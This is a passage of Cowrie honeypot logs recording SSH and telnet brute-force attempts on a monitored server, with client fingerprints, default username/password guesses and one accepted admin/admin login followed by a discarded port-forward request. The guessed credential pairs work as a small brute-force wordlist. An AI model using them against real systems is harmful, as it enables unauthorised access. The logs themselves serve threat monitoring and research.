16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:24.800964Z","src_ip":"2.57.122.238","session":"7672ab5bb598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:25.118168Z","src_ip":"2.57.122.238","session":"7672ab5bb598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:26.226345Z","src_ip":"2.57.122.238","session":"7672ab5bb598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60932,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16f439ef0a7","protocol":"ssh","message":"New connection: 159.203.92.129:60932 (159.203.135.109:22) [session: d16f439ef0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:54.971945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:54.977400Z","src_ip":"159.203.92.129","session":"d16f439ef0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:54.983358Z","src_ip":"159.203.92.129","session":"d16f439ef0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Cisco","password":"123456","message":"login attempt [Cisco/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:55.005511Z","src_ip":"159.203.92.129","session":"d16f439ef0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:46:56.015501Z","src_ip":"159.203.92.129","session":"d16f439ef0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35732,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aaf779aa809","protocol":"ssh","message":"New connection: 37.143.61.84:35732 (159.203.135.109:22) [session: 3aaf779aa809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:14.376173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:17.288836Z","src_ip":"37.143.61.84","session":"3aaf779aa809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:17.384330Z","src_ip":"37.143.61.84","session":"3aaf779aa809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:20.194363Z","src_ip":"37.143.61.84","session":"3aaf779aa809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50592,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b88ccab2359","protocol":"ssh","message":"New connection: 159.203.92.129:50592 (159.203.135.109:22) [session: 6b88ccab2359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:39.113301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:39.118355Z","src_ip":"159.203.92.129","session":"6b88ccab2359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:39.125809Z","src_ip":"159.203.92.129","session":"6b88ccab2359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Cisco","password":"Cisco","message":"login attempt [Cisco/Cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:39.137286Z","src_ip":"159.203.92.129","session":"6b88ccab2359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:47:40.344345Z","src_ip":"159.203.92.129","session":"6b88ccab2359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33430,"dst_ip":"159.203.135.109","dst_port":22,"session":"def29c109f46","protocol":"ssh","message":"New connection: 80.94.92.186:33430 (159.203.135.109:22) [session: def29c109f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:17.740858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:17.803129Z","src_ip":"80.94.92.186","session":"def29c109f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:17.850734Z","src_ip":"80.94.92.186","session":"def29c109f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:18.799129Z","src_ip":"80.94.92.186","session":"def29c109f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:20.025136Z","src_ip":"80.94.92.186","session":"def29c109f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46156,"dst_ip":"159.203.135.109","dst_port":22,"session":"7757a04aef21","protocol":"ssh","message":"New connection: 159.203.92.129:46156 (159.203.135.109:22) [session: 7757a04aef21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:21.892154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:21.898194Z","src_ip":"159.203.92.129","session":"7757a04aef21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:21.906881Z","src_ip":"159.203.92.129","session":"7757a04aef21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CloudNet","password":"123456","message":"login attempt [CloudNet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:21.935863Z","src_ip":"159.203.92.129","session":"7757a04aef21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:22.966600Z","src_ip":"159.203.92.129","session":"7757a04aef21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3388,"dst_ip":"10.17.0.5","dst_port":22,"session":"5178dbb08674","protocol":"ssh","message":"New connection: 87.251.64.176:3388 (10.17.0.5:22) [session: 5178dbb08674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.270927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.276089Z","src_ip":"87.251.64.176","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.373682Z","src_ip":"87.251.64.176","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.669761Z","src_ip":"87.251.64.176","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.769525Z","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.867847Z","src_ip":"87.251.64.176","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:23.969127Z","src_ip":"87.251.64.176","session":"5178dbb08674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47486,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ea8908de003","protocol":"ssh","message":"New connection: 2.57.122.238:47486 (159.203.135.109:22) [session: 2ea8908de003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:40.957193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:40.962808Z","src_ip":"2.57.122.238","session":"2ea8908de003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:41.072630Z","src_ip":"2.57.122.238","session":"2ea8908de003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:41.383172Z","src_ip":"2.57.122.238","session":"2ea8908de003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:42.489738Z","src_ip":"2.57.122.238","session":"2ea8908de003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.152.96.59","src_port":60374,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81201d3a933","protocol":"telnet","message":"New connection: 109.152.96.59:60374 (159.203.135.109:23) [session: a81201d3a933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:48:44.851665Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47108,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc8e64424fa","protocol":"ssh","message":"New connection: 159.203.92.129:47108 (159.203.135.109:22) [session: cdc8e64424fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:03.333395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:03.359797Z","src_ip":"159.203.92.129","session":"cdc8e64424fa","protocol":"ssh"}
